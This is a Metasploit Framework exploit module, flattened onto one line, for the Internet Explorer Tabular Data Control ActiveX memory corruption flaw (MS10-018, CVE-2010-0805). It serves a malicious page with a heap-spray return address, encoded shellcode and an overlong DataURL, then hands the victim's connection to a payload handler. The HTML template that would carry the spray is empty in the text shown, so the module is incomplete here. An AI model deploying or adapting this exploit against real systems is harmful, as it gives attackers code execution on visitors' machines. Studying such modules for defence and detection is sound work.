## # $Id: ms10_018_ie_tabular_activex.rb 9018 2010-04-05 20:25:56Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer Tabular Data Control ActiveX Memory Corruption', 'Description' => %q{ This module exploits a memory corruption vulnerability in the Internet Explorer Tabular Data ActiveX Control. Microsoft reports that version 5.01 and 6 of Internet Explorer are vulnerable. By specifying a long value as the "DataURL" parameter to this control, it is possible to write a NUL byte outside the bounds of an array. By targeting control flow data on the stack, an attacker can execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Anonymous', # original discovery 'jduck' # metasploit version ], 'Version' => '$Revision: 9018 $', 'References' => [ [ 'CVE', '2010-0805' ], [ 'OSVDB', '63329' ], [ 'BID', '39025' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-034' ], [ 'MSB', 'MS10-018' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "", #"\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic (Heap Spray)', { 'Ret' => 0x0c0c0c0c } ], ], 'DisclosureDate' => 'Mar 09 2010', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{target.name})...") # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Set the return\nops ret = Rex::Text.to_unescape([target.ret].pack('V')) # ActiveX parameters #progid = clsid = "333C7BC4-460F-11D0-BC04-0080C7055A83" # exploit url url = "http://" #url << rand_text_alphanumeric(258) url << rand_text_alphanumeric(258+0x116+2) # Construct the final page var_unescape = rand_text_alpha(rand(100) + 1) var_shellcode = rand_text_alpha(rand(100) + 1) var_memory = rand_text_alpha(rand(100) + 1) var_spray = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(100) + 1) html = %Q| | # Transmit the compressed response to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end end